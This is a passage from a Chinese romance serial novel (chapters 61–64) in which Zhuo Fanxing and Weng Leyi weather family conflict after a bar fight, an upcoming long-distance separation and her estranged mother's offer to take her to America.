“它饿死了,挠我门。”卓繁星把镜头翻转过去对准它,它翘着尾巴,已经引着她往猫盆架去。 “你呢?” “嗯?”卓繁星没听清,把手机搁在旁边,就去翻罐头。 “你说我要不要给它做点猫饭,反正我这两天也没事。” 翁乐仪坐在沙发上无奈撑额,听着那边传来的窸窸窣窣动静。一会儿是拌罐头的声音,一会儿是喊着:“小八,还没好,别急。” “吃慢点呀。” 脚步声响起,又很快回来。她的脸终于又出现在镜头里。 “你还在医院?你爷爷怎么样?” “挂吊瓶、做检查,嫌无聊,闹着要回家。” “那不行吧。不过老人家就是这样的。”卓繁星轻轻笑了下, 二人视线相接,通过摄像头完全是不一样的感觉。 翁乐仪说:“你晚饭吃过没?” “还没想好吃什么。” “你今天去你爸爸那边不开心?” 卓繁星躺倒下去,看着镜头里的人。“你又知道了。”她有些气馁。“我也不知道,好像就是相处不来。” 她难道不知道那些话刺痛他,可是她就是要说出来。然后看见他难受了,又会开始后悔,折腾了他,自己也不开心。 卓繁星把手机放在旁边,问他:“翁乐仪,你和你爸爸感情很好吧。” 翁乐仪说:“没有想象的那么亲密。” “嗯?”她感兴趣起来,转过身趴在沙发上注视屏幕。 “他那个时候工作很忙,我时常见不到他。” “那会吵架吗?嗯?有没有吵过架?” 翁乐仪思索了下,好像真的没有。他天生性情平和,似乎也找不到争执的理由。要说争执,如果几个小时前发生的那场对话也算的话。 他看了镜头里的人一眼。 卓繁星歪着脑袋,纤细的锁骨露出来,让人想到一些脆弱的东西,而因此生出莫名其妙的破坏欲。 他将脖子里项链拿出来,手指握着那颗星星,在唇边贴了贴。 卓繁星一下睁大了眼。 像是无意识的动作,就是有些人习惯性会这样,比如说思考的时候,就会拿起项链放在嘴唇边。可能算不上什么。 卓繁星想他是不是故意的。 “你不吵架吗?”卓繁星托着微微泛红的脸,唇角不自觉便勾了起来,一并还有两条小腿,它们荡啊荡,就如她此刻的心情。 “印象里没有。” “那真好。” “这样也不太正常吧。”翁乐仪说:“我和我爷爷吵架的次数都比他多。” 他们刚刚就因为回不回家这件事闹了别扭。“我说希望我年纪大了不要像你一样难弄。他生气了。” 卓繁星一下笑倒。“老小孩呀,你要让让他。” “我知道。”翁乐仪往后靠,卓繁星只能看见上面的吊顶了,还有一半的吊灯。 “今天留在医院里吗?” “我等他睡了再走。他眼睛也不大好了,我今天给他念了二十分钟的书,他就睡了。” “什么书?我也想听听。”卓繁星想他的声音很好听呀,是干净清朗的声音,再带点京市人习惯的吞音,还是挺标准的。 翁乐仪翻着膝盖上的书。“回去再念给你听。” 卓繁星不大乐意,一下又兴奋起来。“那说好了。” “嗯?” “嗯什么,说好了,回来我想听什么你都得念。” 她眼珠子亮的很,翁乐仪一看就知道在打歪主意。他正想说什么,爷爷回来了。 “打电话呢?” “外面好玩吗?乌漆嘛黑的看什么呢?” 翁爷爷还记着刚才那“仇”呢,哼了一声。“人多着呢,那外头河里还有人钓鱼呢。” 翁乐仪笑了一声。柳姨说:“你听他瞎说。” “你帮谁呢?”翁爷爷摘了帽子。柳姨接过来,说:“帮您。” “那你拆我台。” 翁乐仪听着电话里的人小声说:“我挂了啊。”暗骂了句胆小鬼。 翁爷爷上完厕所出来说:“我是不是耽误你谈恋爱了。” “什么?”翁乐仪奇怪他突然这样讲。 “那姑娘回去了?” “回了,马上要上班了。” “离初八还早着呢。” 翁乐仪把人扶到床上。“不得回去收拾收拾。” “你可真不像个谈恋爱的样子。” “哪样?”翁乐仪坐在床前的椅子上,很有兴趣听他的高见。 “那是一刻都分不开,跟扭股糖一样。我跟你奶就是这样。那时候我在新疆,你奶就坐几天几夜的火车来找我呀,火车还到不了地方,得坐公车,再骑马,你奶就是这么来找我的。见到人的时候,一张脸全是黑乎乎的灰。” 翁乐仪说:“那您可真能耐。” “你也不错。小姑娘过年呢都飞过来找你,不错了,不错。没给咱家丢面。” 柳姨听了笑。翁乐仪无奈,跟着笑。“那我真得谢谢您了,那您赶紧把身体养好,我好找她去。” 这夜里京市的天空晴朗无云,月亮仍是浅浅一弯,年味尚未消散,可到底不是大年三十,初一的时候的样子了。街道上都像正常生活靠拢,很快就是新的一年,日复一日的工作。 翁乐仪从医院回到家里,一进去有种空荡荡的感觉。分明卓繁星才呆了短短三天。 然而这个晚上终究不像他想的那样平静,陈跃的电话在翁乐仪将要入睡的时候打来。 翁乐仪半路转去派出所,正遇上从车上下来的舅妈俞秋华。 她面色憔悴,头发披散下来,不是往常妆容齐全的样子,下了车拢了拢身上披肩,看见他。“乐仪。” “是陈跃打电话给我的。” “前世造孽生了他,大过年的不安生。” “酒喝多了。”翁乐仪淡淡讲了句,想她宽心,显然没起什么作用。 俞秋华冷淡着面色进去,吃醉酒寻衅滋事,斗殴进局子。他当自己是几岁的人,倒不如赶紧回美国去。 大半夜的派出所里还是很热闹,俞秋华听见乌泱泱的声音,脑子就开始发胀。 血压现在一定很高,她这样想。 两个人先看见林灿,她慌乱地站起来,张口要解释。俞秋华倒比平时和气多了,问她可有受伤。 “我没事。Arhur也没什么,就是他朋友,还在医院里。” “怎么打起来的?他们两个人还会打起来,从小一起长大的,酒得吃成什么样。”俞秋华电话里听说儿子和刘清华干仗,还以为是做梦。 林灿面露难色,看了下翁乐仪,说:“酒喝多了,不知道怎么吵起来了。” “真是作孽。”俞秋华骂道。 找到警官,见到蒋凌洲,先将人保释出来。 事情发生在刘清华的酒吧,上次那张照片,就是吴梦云收到的那张,不晓得发了几个人,又或者是经由他们传出去。反正头一个发出去的人是刘清华。 陈跃电话里说:“他是有点嫉妒凌洲的,以前那点心思嘛,我们都懂。”他说的是读书时候刘清华喜欢许筠,许筠偏偏喜欢蒋凌洲的事儿。 毕竟是从小一起大的,闹成这样已经很难看了。 蒋凌洲身上酒气还没散尽,衣服上沾了血,也是被扯的乱七八糟。 俞秋华说:“我大过年还要来处理你这摊子事。” 蒋凌洲的目光落在翁乐仪身上,翁乐仪说:“清子眼睛受伤了。” 蒋凌洲摸了下脑袋,断片儿了,想不起来,当时听见他嘴巴喷粪,几两黄汤下肚,把他们两兄弟带着卓繁星的事儿乱讲,就打起来。 俞秋华说:“先回去,什么事儿明天再说。” 可到了第二天,刘清华家里人就找上门来。他爷爷带着他妈上门,两家早些年住一个家属院里,是几十年的交情。 蒋爷爷起先没反应,等人出去了,回头一巴掌甩在孙子脑门上,吼的震天响。 “他眼睛要是没了,你抠出来给他安回去。家里丢不起这样的人!” 卓繁星是在同何安琪去看她前夫那间工作室的时候收到的消息。何安琪的前夫不知道怎么欠了一屁股债,这间工作室是最老的那家,她们家发家就是从这儿起来的。卓繁星以前也在这儿上过课。 如今放假,门都是锁着的。何安琪趴在玻璃门上往里探。 “听说是他后来找到那个女的忽悠他去投资,半年工夫钱都给败干净了。啧啧,这家底攒起来得难,败起来倒快。”何安琪脸上倒不纯粹是幸灾乐祸的样子,唏嘘道:“他正急着找人接手呢。现在这个环境,谁敢接这么大摊子。繁星。” 她一扭头,见她盯着手机,表情不算太好。 “怎么了?” 卓繁星摇头说:“没事儿,你说。” “我说这个店可惜了。你说我要不要接下来?” “钱够吗?”这一间地方可不小。 何安琪说:“要是接下来,确实有点紧张。我手头现金也不多,估计得找我爸妈他们借吧。不过赵珂现在急着出手,他找过我,我没答应,还要跟他再扯一会儿。” 卓繁星说:“那我之后还能回来上课了,不过离我现在住的地方有点远了。” “你要不来当合伙人吧,咱俩一起开。” “啊?”卓繁星愣了下,不知道她是不是随口一提。 回到家里,卓繁星忍不住翻出许筠的信息。 【凌洲因为你把清子眼睛打瞎了】 就这么一句。 卓繁星看见她前头还撤回了两条,或许是骂她的。 她不知道怎么和这两个人扯上的关系,和翁乐仪电话的时候问起来。 “你怎么知道的?”他顿了顿问。 “许筠说的。” 翁乐仪说:“这事儿和你没关系,你不用放在心上。” 卓繁星安静了一会儿说:“不能告诉我吗?” “和你有什么关系。”翁乐仪打断道。 一时僵住。卓繁星抱紧怀里的小八。 “灿灿。”翁乐仪知道的自己口气不算太好。 卓繁星说:“我只是不想被莫名地指责。” “是她误会了,这件事真的和你没有关系。” 翁乐仪的声音坚定又清晰地传了过来,同往常一样,十分平淡。 “好。” 卓繁星想,确实是这样,也该是这样,能和她有什么关系。 【作者有话说】 终于hhh 第62章 ◎波澜(三)◎ “血压量出来怎么样?” 一大早,俞秋华就在公公房间外面问。保姆说:“还是高。昨天也没休息好,三点多就醒了。不过胃口还行,吃了一大碗面,后来说困了再歇会儿。” 俞秋华点点头。“怎么能不高,我自己都高。你盯着点,起来的时候别叫他快,之后再量一下,还有血糖。” “妈。”她对着出来的婆婆说:“我自己去就行。你在家里吧,别到时候你也气着了。” 秦奶奶决断道:“我跟你去。别啰嗦了。昨天人都到家里来了。我出面总好一些,总归是我们理亏。” “都是凌洲不懂事儿。” “行了,事儿都出了,还说这些做什么。” 两人坐上车,俞秋华忍不住说:“这事儿也不全怪咱家。” 秦奶奶看了她一眼。“这话别说了。” “我知道,就是想不通啊。那姑娘就那么好?叫他惦记到现在,和下了咒一样。” 秦奶奶插着手,不吱声。 俞秋华说:“您是没见,当天在现场两兄弟那样。” “或许是他命里的劫数。” “什么劫数?您佛经看得多,我是不信的。” 秦奶奶说:“凌洲的脾气你不知道?” 俞秋华皱眉,那是傲上天的性子,家里虽不是说那种惯宠,但是他自个儿挣来的脸,也够得他傲。从读书起,到后来结交朋友,尽是惯得他一副桀骜脾气。 想来想去没个解法,愁道:“怎么能出这样的事儿。妈这干亲结的。” 秦奶奶哦呦一声。“倒成我的错了。” 俞秋华也不怕她。“徐凤亏得认得您,是她的福气。我们嘛,麻烦全在我们这儿。乐仪如今正稀罕那姑娘呢,什么东西都是抢着好,这热乎劲儿没那么快散。偏您孙子是个犟种。” 秦奶奶已经听的很不顺耳,提高了声音问:“那他平常干嘛去了?他不是带着女朋友回家来着。噢,见了人家成一对儿了,自个儿不乐意了。天下还有这样的道理。” 她越说越气。“如今逞凶斗狠,把别人打的一只眼睛要残废了。要我们给他收场。” “他去的,他在医院等着呢。” “那我还要谢谢他了?” “妈。”俞秋华只能服软,上去揽着老太太胳膊。“是我说错话了,全是那个讨债鬼的错。” 秦奶奶喉咙里哼了一声。 车子驶过半条街,俞秋华才低着声儿道:“只是咱们两家都是有头有脸的人家。兄弟两个为了个姑娘闹起来,说出去脸面都没有了。”见她要驳,她一把按住。“妈先听我讲,看是不是这个道理。” “咱们家里低调,您和爸都退休了,可说到底又不是真的闭起门来的老头老太太。年前京市学校里来采访,是不是就眼前的事儿?就说平常家里,断过人没?翁家就更不用说。” “要是没有凌洲这档子事儿,人家听了就当笑话,现在他将人打成这样,还进了派出所。我就盼着清华眼睛没事儿,要是瞎了那就是致残,性质全不同了。咱们家是好出钱,可他家里也不见得缺钱。换成是您,要是清华把凌洲打成这样,您怎么说?” “你不用吓唬我。”老太太冷着声。 “我那是吓唬您吗?我是自个儿怕呀。” 秦奶奶撇她一眼。“那你就别咒人家孩子。要是真出事儿了,该怎么办怎么办。老头子不是已经说过了,他眼睛拿下来给人家都行。” 俞秋华一下也气起来,胳膊一甩,坐回去。“你们倒想的通。” 沉默了一路,车子进了医院,俞秋华才又开口。“一个是您孙子,一个是您外孙,就是您两个眼珠子。” 转眼到了元宵节。 卓繁星已经上班了,就是Bella那儿还没个着落。 卓繁星做地铁的时候接到姚灵均的电话,说的正是前段时间蒋凌洲打刘清华的事。 “听说一只眼睛伤的特别厉害,蒋凌洲人已经回美国了,听说是去联系医院什么的。” “你怎么知道的?”卓繁星一想就明白了。“舅妈。” “嗯。我妈前段时间不是给秦奶奶送膏方么,这次又去了。她是去打探消息的,她从许筠妈妈那边听说的,说是因为刘清华胡乱说了些事儿,就是你和翁乐仪还有蒋凌洲的事儿,然后才被打的。” 卓繁星怔了一下。“怪不得许筠发消息说是因为我。” “什么?她发消息给你?什么因为你?她怪你?”姚灵均一下就急了。“你别听她瞎说,是刘清华自己犯贱。” 卓繁星笑了下,说:“我知道,我才没那么圣母心。” “就该这样。他们两个男的打架还能扯上你。我看许筠脑子有毛病。她这人还是这样,老是下意识PUA别人。靠,我跟你讲,她肯定到处乱说。” 姚灵均听见那边地铁到站的声音,冷冰冰的机械感。“今天元宵节,你一个人?” 卓繁星说:“和室友一起过,她也是一个人。”她刚刚在公寓里给小八喂完饭,然后过来的,顺道从翁乐仪那儿拿了一瓶酒,晚上就不回去了,刚好邵丽丽的妹妹也已经开学了。 “翁乐仪没过去啊。” “他爷爷身体不太好。” “你呢?”卓繁星问她。 “我?我一个人吃吧。” “为什么?”卓繁星怎么也想不到会是这样的回答,她不是应该在家里,再不然和未婚夫一起。 姚灵均烦躁地叹了口气。“我不想去胡昊天家里,去了又要问结婚的事,怎么安排的,我觉得好烦。家里也是这样,我妈要问房子的事,胡昊天家里到底怎么个说法。我被夹在中间,难上加难。” “她总是教我怎么去说,怎么对胡昊天的妈妈提要求。我觉得好窒息呀。” 卓繁星不知道该怎么安慰她。 她在疾驰而过的地铁里,看见对面黑乎乎的洞壁,默默叹了口气。 Y市流行肉汤圆,卓繁星和邵丽丽都不怎么喜欢。邵丽丽说:“我拿了一包花生馅的,还有一包芝麻的。” 邵丽丽烧了一只暖锅,还有自己卤的牛肉,切好装盘。“我给你留了一点,你带回去吃。” 卓繁星拍了一张照片,碗里五个挤在一起的黄米汤圆,配着淡白色的热汤,让人不由自主生出一种温暖的感觉。 翁乐仪没有回复,姚灵均倒是发了一张灯会的照片。 邵丽丽看见了说:“Y市也有,在中心广场那儿,一会儿要不要去看?” 卓繁星表示拒绝。“窝着不舒服吗,为什么要去吹冷风。” “懒死你算啦。” 两个吃完饭,洗干净碗碟。卓繁星把小酒倒上,邵丽丽说:“咱俩看电影吧。” “甜蜜蜜?”卓繁星看见她点开ipad,可怜她们连投影都没有。 “你看过?”邵丽丽怕她觉得不新鲜。 “听过。” “特别好看,我看了好几遍了,每次看都觉得黎明好帅,张曼玉好美。”她捧着酒杯有些陶醉,有些歆羡地讲,像是再畅享着一些什么。 在看到黎小军买汉堡包,第一次和李翘碰见的时候,她就说:“我觉得我和李翘一样,不会选择黎小军的。” “我刚出来打工的时候遇到过一个很像黎小军的人。”她有些怅惘地喝了一口酒。 “后来呢?” “他要我跟他回老家结婚,我不愿意呀。他早就结婚了,孩子都两个了。他家里有自建房,日子差不到哪里去的。” 卓繁星轻声说:“你有点后悔了?” 邵丽丽仔细思考了一下,仍有些困惑地眨了眨眼睛。“不知道我觉得我还是不后悔的吧。”她靠在卓繁星身上说出这句话。卓繁星想到姚灵均的困境,虽有不同,但似乎也没有很顺畅。婚姻啊,总是很难的。她有些怜惜地摸了摸她的脑袋。 手机突然响起来,是翁乐仪的来电。 “你不在家?” “我在租房。你回来了?”卓繁星一下就想到了。 翁乐仪轻轻笑了声,说:“我过来接你。”便挂断了。 邵丽丽啧啧两声。“原来我才是孤家寡人。”话音刚落,洪旺的电话就来了。 “我不过去随便你。” 卓繁星看见她得意洋洋地挂断电话。“黎小军?”她调侃道。 “喂。”邵丽丽推她。 翁乐仪比洪旺迟一些到。剧情正在高潮,李翘跳下移民局的车,在纽约的街头寻找黎小军。 屋里的光线很暗,翁乐仪进去的时候,洪旺抱着邵丽丽,对着他无奈地挥了挥手。 卓繁星拉着他坐在另一边沙发上。 翁乐仪说:“在看什么。”电影? 卓繁星立即亲了他一下。“甜蜜蜜。” “好。”他知道她是叫他先安静地看,可翁乐仪辗转过来不是为了来看电影的。他漂亮的眼睛看着她,手指在她肩头轻轻摩挲。 卓繁星习惯性就倒在她身上,他无奈,只能克制地在她头发上贴了贴。 电影很快结束,主人公终于在街头相遇,伴随着邓丽君的歌声。 邵丽丽站起来,说:“我去洪旺家啦。” 卓繁星想真是个奇怪的元宵啊,过成情人节的感觉了。 电影里不就是如此。 黎小军和李翘的越界就是在元宵节,两个孤独的人在异地像两只报团取暖的小兽。 邵丽丽在走之前说:“翁总要留宿我ok的啦。套套有吗?没有可以去我房间里拿,我门没锁。” “走了啦。”卓繁星有些无奈地送她离开。 她确实有这个想法,再折腾回去,还要开一个小时的车。不过还要征求翁乐仪的意见。 “你想回去吗?” 他正把杯里的水喝干净,疑惑地看过来。“你呢?” “我都可以。不过这里的楼梯不太方便,你也没带衣服,要不还是回去吧。” 卓繁星走到台阶上,听见后面的声音,他走过来。台阶的优势,她比他高了半个头,能俯看他。 “我去拿两条衣服。”最近温度上升,太阳出来的时候能有二十度,卓繁星要拿些薄衣服过去。 翁乐仪说:“我能看看你的房间吗?” “可以啊,可是楼梯不太好走。” “也没那么困难。”他扶着扶手上去。卓繁星还有点莫名地紧张。她的房间小小的,层高很低。卓繁星已经习惯了,可他走进来一下就显得十分逼仄。 卓繁星挑了一件薄风衣,一条线衫。翁乐仪拿着她放在床上的娃娃,轻轻捏了捏。 “对了,今天到了一个望远镜,你买的?我不会装,你自己回去装。” 翁乐仪说好,躺下去。 卓繁星眨了下眼睛,突然起了坏心思,一下趴在他身上。 两个人抱在一起,笑声逐渐消失。他尝到她嘴里葡萄酒的味道。 卓繁星后来变成了在下面的那个人。她推开他,翁乐仪握着她的手。 “你爷爷的身体好转了吗?这次呆多久?还要回去吗?” 翁乐仪的眼珠有片刻凝滞,捋了捋她的头发说:“我可能要被调去津市。” 他的眼睛随着她的表情而动,时刻关注着她的每一丝变化。 “那我们要很久见不到面了。异地。”卓繁星果然有些惊愕。 “我会抽时间回来的。”翁乐仪在她失落的眼睛上亲了下。 卓繁星没有说话,只是低落地看了一眼其他地方,又看回他,有一种莫可奈何的无力感。嘴唇不自觉地撅起,手去撩他垂落下来的头发,又有些气愤。 “灿灿。” 翁乐仪拉住她的手。 卓繁星说:“你小心变成小婷啊,翁乐仪。” “什么?” “被黎小军背叛的老婆。” “你不会。”翁乐仪牵起嘴角,将她的手放在唇边亲了亲,说的斩钉截铁。 “为什么不会?”卓繁星可不想见他这幅吃定她的样子。“我老板昨天还说有帅哥。” 她的唇被吻住,用了些力道。 “我会经常过来的,灿灿。”他抵住她的额头这样讲。 卓繁星靠在他胸口,卓繁星不知道自己担心的事情会不会发生,可是她有一种预感,在前面等着她的,好像不是什么好事。 她乘着小船,在晃晃悠悠中,那个绚烂的梦境快要醒来,她发现依然在海上,只有那条船,她一个人。 只是现在,这一切说起来都太早。她不想让自己显得那么神经质。 翁乐仪感觉被紧紧抱住,她纤细的手臂牢牢扣在他身后。 “我把头发留长吧。”卓繁星突然开口。 “嗯?”他低下头,与她仰起的视线对上。“等你回来,说不定会惊讶我头发一下变得很长了。” 翁乐仪感觉到自己的心陷下去一块儿。他抱紧她。“不会那么久的,我保证。” 第63章 ◎波澜(四)◎ 翁乐仪将他的望远镜装好,着实花了不少力气。他搬到阳台上,让卓繁星去看。 晴朗的天气下,星空格外明亮,即便只用肉眼也能看到些许的星光,通过望远镜更是璀璨无比。星星像一颗颗点缀在天幕中的钻石。 “看见木星了吗?”翁乐仪这样问她。 “哪儿?”卓繁星很急。 “镜头里。”翁乐仪失笑,按着她的脑袋。 “城市里的灯光还是太强了,如果去郊外会更好。京市的天文台你去过没?后半夜可以看见银河,很梦幻。” 卓繁星只顾着看,耳朵里他的声音也听得含糊。 翁乐仪在身后抱紧她,脸架在她肩膀上,在她腮上亲了亲。 “好漂亮啊。”卓繁星感叹道。 “你是为我买的?”她转过来问他。 翁乐仪挑了下眉,只笑不答。 卓繁星抱住他,那些将要离别的隐忧又冒了出来。到后来,化成一声叹息。 翁乐仪说:“上次去京市见到的老师,你有想过以后吗?” “什么?”卓繁星不太明白。 “就是在Y市了?以后,工作。”他有些不知道该如何措辞。 “不然呢。”卓繁星转过去,重新对着望远镜。“你刚刚怎么调的?再教我一遍,我下次一个人也好操作。” 卓繁星装糊涂的本事向来很强,翁乐仪插着腰,看她装模作样地摆弄。见他没反应,还要往后拉扯两下,怪他:“怎么弄呀?” “笨蛋。”翁乐仪重新圈住她,报复似的拿他的下巴戳她的肩。 卓繁星挣扎起来,翁乐仪死死抱住她,不松开。 “喂。”她抗议。 翁乐仪说:“不是要学吗?” “疼啊。” “那算了。” 他一下松开她,转身就走。卓繁星揪住他的衣服,下一秒,就被吻住。 她的脸被托起,穿着毛绒拖鞋的脚不由之主便垫了起来,想要离他近点儿,再近点儿。卓繁星抱住他,闭上眼睛,将自己沉醉到这个吻里。 起码这一刻,他们还在一起。他还陪在她身边。 日子如流水一般,仍是这样过。 这日,卓繁星上完课出来见到了久违的前老板赵珂——穿了一身休闲西装,似乎同先前没什么不同。不过他领口处有显而易见的褶皱,以及头发也稍显凌乱。 要知道先前,他通身都是极为讲究的,难说不是何安琪的功劳。她艺术生出身,本就对衣着方面很是讲究,又有审美。做全职太太那几年,除了两个孩子,将他这个老公也是打理的十分到位。可讽刺的事正因如此,赵珂有了资本在外招蜂引蝶,全无半点对她的感恩之心。 曾经的爱妻也成了饭黏子,寡淡无味。出轨的理直气壮。 不过最叫人觉得不同的,还是那股从容,几乎不见了踪影。在看见她们时,他几乎恨不得出了电梯就飞到何安琪的办公室,最好全然不要与她们打招呼。 乔诗晴不明原因,奇怪道:“他来做什么?不会是来复婚吧。” 潘潘一个大白眼。“你盼着点何姐好吧。” “我是希望她不要和这个渣男再搞在一起啦,一次不忠,百次不用。男人千千万,干嘛要吃回头草,还是一颗老菜帮。” 潘潘说:“你放心啦,何姐清醒的很。估计是来谈合作的,他那个工作室要倒闭了,正找人接手呢。” 乔诗晴震惊三连。“他不是牛的很吗?” “叫他后来的老婆败完了呀。”潘潘凑过来一副神秘兮兮的样子。“我听说是投股票,还有什么虚拟币,一下子钱全都亏干净了。” 乔诗晴说:“这个我前男友好像也搞过,不是很赚钱吗。” “金融的东西说亏就亏的呀。你没看到那么多前一秒发财,后一秒跳楼的,多的是。” 乔诗情眨了两下眼。“那不是又要多几家店了?” “何姐哪里吃的下几家,估计就一家。” 乔诗晴说:“那我们老师够吗?卓繁星不是还要去剧团里帮忙?我可忙不过来。” 卓繁星刚好进来,她有点慌,声音小小劈了一下,随即又觉得自己占理。“繁星,潘潘说老板还要再接一家店呢。” “我听说了。”卓繁星喝了口水,去看下面的课程安排。临时有个私教课调动,她估计要晚一点才能过去剧团。 说起来,这还是林老师联系她的。Y市的剧团同大城市里不好比,人才并不多。他们的队伍刚刚组建起来,如今要排剧目,可是排舞的老师找不好,主要负责的老师年纪大了,怕跟不上潮流,训练方式还是思维都有些老派。 倒是配了两个年轻的老师,可是其中一个怀孕生产,一个是副手全无经验,一时间竟找不到合适的人选。 林老师在行业里是顶尖的人才,他们托到她跟前,她一下子就想到了卓繁星。 卓繁星起先不敢接。她自己这些年虽然不算脱离了行当,但着实称不上专业。 林老师电话里劝道:“你自己的技巧倒不是那么重要。他们看重的是编舞的能力。我记得你大学时候不是在这方面很有心得,后来还参与了电影里的舞蹈设计编排,那部电影里的舞蹈现在看依然很优秀。再说你这些年做老师,肯定很多舞蹈也需要你去设计。” “我觉得你可以的。”她给她鼓劲。“繁星,要相信自己。或许在京市,人才济济的环境下,你并不算出挑,可在Y市,未必是这样。” 卓繁星怀着忐忑又期待的心情接下了这份工作。 当然她有和何安琪聊过,毕竟会有时间的调动。 何安琪十分高兴,若是和剧团有联系,那繁星就成了工作室的活招牌。她自然再支持不过。 刚好有件事她也要同她商量。 她在办公室里同卓繁星说:“赵珂那儿我确定要接下来了,最多下个月就会正常营业。繁星,我希望你能帮我做一些宣传工作。现在的大环境自媒体肯定要做,乔诗晴虽然现在回来了,但是我不打算让她和以前一样参与进来。我希望你能帮我。” “赵珂那家店如果光靠我一个人确实会比较吃力。我能发挥我的优势,也希望你能参与进来,做我的合伙人。” 卓繁星想起这件事,稍稍敛了下眉。 她并没有马上答应下来,或许是有所顾虑。当老板和员工完全是两样事。虽然不用她出资金,但也正是因此,她的压力就更重。要是不全心全力地去做,有种对不起人家的感觉。 同时,卓繁星心里也十分明白,这是个机会。 她不是还打算买房子吗?做老板可比员工挣得多多了。 还有她不喜欢抛头露面的事,比起真金白银,不喜欢究竟有多重要。 卓繁星心里的想法繁多,和翁乐仪通电话的时候,不免讲起来。 “我觉得不错。” 卓繁星讶异道:“我还以为你会觉得不好。” “为什么?” “那我肯定会很忙了。” 他低低笑了一声。“开始肯定会很忙,之后可不一定。” 她老板的想法就是将她打造成工作室的名片。或许她先前还有些犹豫,可见她突然和剧团搭上了关系,那就意味着之后会有更多的资源,起码在Y市肯定够看了。 之后她肯定也会上课,可是就会经过筛选,价格也会水涨船高。这不见得是坏事。 “我记得你以前是学机械工程的。”卓繁星还记得他在酒吧修音响的事,这算是他的特长吗?反正动手能力很强就是了。她在书房里还见到好多小的汽车模型。 翁乐仪说:“所以?” “如果你家是做其他行业的,比如开超市的,你还会回来继承家业吗?” 翁乐仪想了想。“这没法假设,我从小就在这样的环境下长大,三岁的时候,我爷爷就会带我拆那种老式的收音机。” “跳舞是你喜欢的吗?” 卓繁星觉得这个问题他好像问过她,她犹豫了一下没有回答。她吃了好多苦头,可从来不敢放弃。她到现在所有的掌声表扬,至少90%吧,都是因此而来。她如何能说不喜欢它。 翁乐仪感觉到了她的犹疑。 “不管怎样你选择了它,坚持下去了,并且做的很好。” 声音仿佛穿过遥远的空间来到她的身边,带来一丝清浅的风,让卓繁星有种说不出来的感觉。 “灿灿?”久久没有声音,让翁乐仪疑惑地喊她。 卓繁星唔了一声,靠在沙发上,小八在她的身边走来走去。 “你好像没见过我跳舞。”她的心情乱七八糟,有种被勾起的感性,而这种感性对成年人来说显得有些矫情,因此不知所云。 “我当然见过。”翁乐仪笑她。“你不是说了,迎新会的时候,你在台上表演,我和徐謇一起来的那次。” “你带了花来。” 翁乐仪轻咳一声。“我要澄清一下,那束花是徐謇要求我凑单买的,你不要生气。满100减20。”他的声音含笑,如今说起来也是想要借着这桩丑事逗她开心。 “好哇。”卓繁星配合地恼怒起来。“你那个时候果然对我没意思。” “不,我那个时候觉得你很漂亮,特别漂亮然后就开始后悔。” “后悔什么?” “徐謇的眼光很差。”他有些嫌弃地出口。 卓繁星笑出声。挂断电话后,她忍不住一把捞过小八来了段“双人舞”。当然它全程毫无反抗能力,且后脚离地,由得她上下左右,前进后退,最后收尾的时候更是惊慌失措,被她抵着脑袋胡乱一通亲。 “啊,小八,爸爸太狡猾了。” 翁乐仪的声音还在耳畔。“灿灿,去做你想做的事,不要怕。” 卓繁星入睡前想,她明天要买一束花来,波斯菊也好、洋桔梗、玫瑰都好。她又想到那盆在京市别墅送到她枕盼的杜鹃,开的是那么的热闹缤纷。 步入3月,卓繁星去医院做体检。这是她每年必要做的事,手术之后,尽管医学上讲人只要一颗肾脏就能维持运转,可为何后来又生了两颗。 卓繁星需要做必要的检查,尤其近来她工作繁忙,原先还担心Bella那儿没有后续,后面陈女士说给她请了一位芭蕾老师,她还松了口气,她如今可忙不过来。 说起来,陈女士似乎也在何安琪的新计划里掺了一脚。怪不得何安琪出手阔绰,原先的老店又租下上面两层,听说要做成人瑜伽、芭蕾、普拉提之类的生意。 总之,新的一年勃勃生机,随着渐暖的天气,人也仿佛抽了新芽似的活泼起来。 这日,卓繁星从医院拿了体检报告出来,除了有些贫血,一切尚算可以。 她心情不错,打算奢侈一把不做地铁,而是打滴去剧团,一个电话进来,全盘推翻了她的计划。 卓繁星看着对面许久不见的人,不知道要说什么,将要出口的话,又被来送咖啡的服务生打断。等她走了,她才又重新开口:“有什么事?” 姚馨雅喝了一口咖啡,眼睛只在她身上停留了一瞬,似乎在观察着周边。或许她没来过Y市,很好奇,卓繁星这样想。 今天的天气很好,这又是市中心的商圈,在日光下的街边喝着咖啡,不远处就是穿过Y市的河流,有一种静谧温暖又悠闲的感觉。 她将头上的墨镜取下,闲闲地搁在一旁,望着远处波光粼粼的河水,感叹道:“国内现在发展的真快。以前来这里的时候,这里都是滩涂,好多养鸭子的,臭的很。你肯定没见过。” 她看穿了她的不知所措,弯唇一笑。“不用紧张,我是有事找你。” 卓繁星认真地看着她,手脚搁的整齐,像是要聆听圣训的臣民。 “我想问你愿不愿意去美国?” 第64章 ◎波澜(五)◎ “我在那边没有孩子。有一间自己的画室。如果你愿意去的话,会比在这里好很多。” 卓繁星又发起了呆,排练室里的姑娘们跳完了,她还没有反应。 “卓老师?”她们叫她。 “啊,啊。噢,跳的不错。休息一下吧。”卓繁星对她们鼓掌。 她们嘻嘻笑着聚到一旁喝水,互相推搡着。“你去问,你去问。” “卓老师有男朋友吗?”一个人问了,其余的胆子也大起来。“我们是帮徐昆问的。” 卓繁星意外地抬起头,角落里一个穿着练功服的男孩子想上前又不敢上前,脸涨的通红。 “有男朋友了。”卓繁星轻笑着开口。 姑娘们失望地噢出声。徐昆摸着头发讪笑。“她们开玩笑的,卓老师不好意思。” “没事。” 手机里的信息还停留在凌晨的那条。【我在半岛酒店等你。灿灿,我希望你好好想想。如果你愿意,把相关的证件交给我,我来安排。明天下午4点前我都在。】 昨天的记忆又浮现在眼前。 “理由呢?”在她说出那句蛊惑的话后,卓繁星问她。 姚馨雅的眼角跳了下。“我说过了,你会比在这里好很多。” 卓繁星打断她:“我问的是,你的理由。” “什么?什么理由?”她的眼角又跳了一下,这次却连笑也维持不住了。 卓繁星沉默地望着她,姚馨雅试图弯了弯唇,到后来也只有嗤笑。“别这样看我。”她有些羞恼地开口。 “我是为你好。”她丢下这句,将包里的烟盒翻出来。 “你在这里做什么工作?我听说是在教孩子跳舞。一个月拿多少钱?有自己的房子吗?是不是还租房住?你打算一辈子租房吗?还有你爸爸要养。” 她缓缓抽着烟,像是理清了思绪,说话也理直气壮,格外淡定起来。抽一口便移开,阳光下的眼睛微眯地看着她,有一种笃定。 “我下午还有工作。”卓繁星却只吐出这样一句话。 “我话还没说完!”姚馨雅掀眸,薄薄的两片嘴唇仿佛射刀子一样。“你和你爸爸真是一模一样。” 